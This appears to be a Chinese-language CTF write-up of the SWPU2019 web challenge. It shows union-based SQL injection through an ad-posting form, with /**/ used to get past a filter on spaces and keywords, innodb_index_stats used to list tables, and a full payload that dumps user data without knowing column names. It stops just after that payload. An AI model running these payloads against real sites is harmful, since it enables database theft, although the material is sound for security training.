SWPU2019
一、题目打开介绍
这是题目本身打开的样子，继续进入题目
二、做题
简单的登陆界面和注册界面，没有sql注入已经尝试
申请发布广告
习惯性的测试
然后开始尝试注入，抓包，
两个都要，经过union注入判断列数，发现是22列
然后收集信息
database() web1
version() 10.2.26-MariaDB-log
然后开始使用information库进行爆表，爆字段
然后没有用，再加上一下字符被毁掉
and or updatexml 空格
用/**/代替空格，然后继续解决无法爆出表的问题
经过百度发现还有一个表可以爆出表名
https://mariadb.com/kb/en/mysqlinnodb_index_stats/
就是上面这个库，然后开始继续操作就行
tables() FLAG_TABLE,news,users,gtid_slave_pos,ads,users
这就是已经取得的数据。
下面解决无法爆字段的问题
select * from users
如果直接使用这个命令的·话，他会返回多条数据然后并且报错，并且我们现在无法知道字段名，必须再想其他的办法
select 1,2,3 union select * from users
这样就可以造出临时表，字段名分别可以知道了需要猜一下字段数
最后 payload
title=-1'and/**/union/**/select/**/1,(select/**/group_concat(b)from(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=a&ac=add
这里有两个注意的点
